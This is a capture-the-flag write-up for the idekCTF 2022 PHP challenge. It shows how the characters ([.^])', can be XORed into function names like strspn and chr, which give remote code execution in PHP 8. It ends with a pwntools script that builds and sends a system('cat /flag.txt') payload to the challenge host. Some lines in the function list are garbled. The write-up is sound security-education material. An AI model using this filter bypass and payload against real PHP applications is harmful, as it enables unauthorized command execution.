Contents

idekctf 2022* PHPFu...n wp

Contents

For this challenge, we must get rce using ([.^])',, but in php8. Even more, warning is not allowed which means we couldn’t use something like [].''. So, the first thing I do is to figure out how many chars can we get and how many functions can we use:

In [206]: mapping = {}
     ...: for a, b in combinations('[(,.^)]', 2):
     ...:     x = chr(ord(a) ^ ord(b))
     ...:     if x in mapping:
     ...:         continue
     ...:     mapping[x] = (a, b)
     ...:

In [207]: mapping
Out[207]:
{'s': ('[', '('),
 'w': ('[', ','),
 'u': ('[', '.'),
 '\x05': ('[', '^'),
 'r': ('[', ')'),
 '\x06': ('[', ']'),
 '\x04': ('(', ','),
 'v': ('(', '^'),
 '\x01': ('(', ')'),
 '\x02': (',', '.'),
 'q': (',', ']'),
 'p': ('.', '^'),
 '\x07': ('.', ')'),
 '\x03': ('^', ']'),
 't': (')', ']')}

So we got ([.^])',swurvqpt which contains str, maybe we can use some functions about string?Let’s find out:

In [209]: str_funcs = ['addcslashes','addslashes','bin2hex','chop','chr','chunk_split','convert_uudecode','convert_ne
     ...: code','count_chars','crc32','crypt','echo','explode','fprintf','get_html_translation_table','hebrev','heni
     ...: ','html_entity_decode','htmlentities','htmlspecialchars_decode','htmlspecialchars','implode','join','lcfi't
     ...: ,'levenshtein','localeconv','ltrim','md5_file','md5','metaphone','money_format','nl_langinfo','nl2br','nure
     ...: _format','ord','parse_str','print','printf','quoted_printable_decode','quoted_printable_encode','quote',
     ...: rtrim','setlocale','sha1_file','sha1','similar_text','soundex','sprintf','sscanf','str_contains','str_eniw
     ...: th','str_getcsv','str_ireplace','str_pad','str_repeat','str_replace','str_rot13','str_shuffle','str_s'
     ...: tr_starts_with','str_word_count','strcasecmp','strchr','strcmp','strcoll','strcspn','strip_tags','striphs
     ...: es','stripos','stripslashes','stristr','strlen','strnatcasecmp','strnatcmp','strncasecmp','strncmp','strpbrk'
     ...: ,'strpos','strrchr','strrev','strripos','strrpos','strspn','strstr','strtok','strtolower','strtoupper','strtr
     ...: ','substr_compare','substr_count','substr_replace','substr','trim','ucfirst','ucwords','utf8_decode','utne
     ...: code','vfprintf','vprintf','vsprintf','wordwrap']

In [210]: for func in str_funcs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
strstr
strtr

With strstr we could get false = strstr('.',',') , but it’s not enough, so I turned to all the functions php support( doc):

In [211]: phpfuncs = []
     ...: with open("/phpfuncs.txt",'r', encoding='utf8') as f:
     ...:     phpfuncs = f.read().split(',')
     ...:

In [212]: for func in phpfuncs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
sqrt
strstr
strtr

And we can get '0' by sqrt(strstr('.',',')).'' , which means more chars can be generated by xor:

In [215]: mapping = {}
     ...: for a, b in combinations('[(,.^)]0', 2):
     ...:     x = chr(ord(a) ^ ord(b))
     ...:     if x in mapping:
     ...:         continue
     ...:     mapping[x] = (a, b)
     ...: mapping
Out[215]:
{'s': ('[', '('),
 'w': ('[', ','),
 'u': ('[', '.'),
 '\x05': ('[', '^'),
 'r': ('[', ')'),
 '\x06': ('[', ']'),
 'k': ('[', '0'),
 '\x04': ('(', ','),
 'v': ('(', '^'),
 '\x01': ('(', ')'),
 '\x18': ('(', '0'),
 '\x02': (',', '.'),
 'q': (',', ']'),
 '\x1c': (',', '0'),
 'p': ('.', '^'),
 '\x07': ('.', ')'),
 '\x1e': ('.', '0'),
 '\x03': ('^', ']'),
 'n': ('^', '0'),
 't': (')', ']'),
 '\x19': (')', '0'),
 'm': (']', '0')}
 In [216]: for func in phpfuncs:
     ...:     if all(c in mapping for c in func):
     ...:         print(func)
     ...:
sqrt
strspn
strstr
strtr

With strspn , we can generate any number we want, and it’s time to figure out a way to get chr function:

'c': ('[', '8')
'h': ('[', '3')
'r': ('[', ')')

exp:

from pwn import *

s      = "('['^'(')"
str    = f"{s}.(')'^']').('['^')')"
strstr = f"{str}.{str}"
sqrt   = f"{s}.(','^']').('['^')').(')'^']')"
zero   = f"({sqrt})(({strstr})('.',',')).''"
strspn = f"{str}.{s}.('.'^'^').('^'^{zero})"
num    = lambda x:f"({strspn})('{'.' * x}','.')"
phpchr = lambda x:f"(('['^{num(8)}.'').('['^{num(3)}.'').('['^')'))({num(ord(x))})"
phpstr = lambda str:'.'.join([phpchr(c) for c in str])

payload = f"({phpstr('system')})({phpstr('cat /flag.txt')})"
print(payload)

r = remote('phpfun.chal.idek.team', 1337)
r.recvuntil(b'Input script: ')
r.sendline(payload.encode())
r.interactive()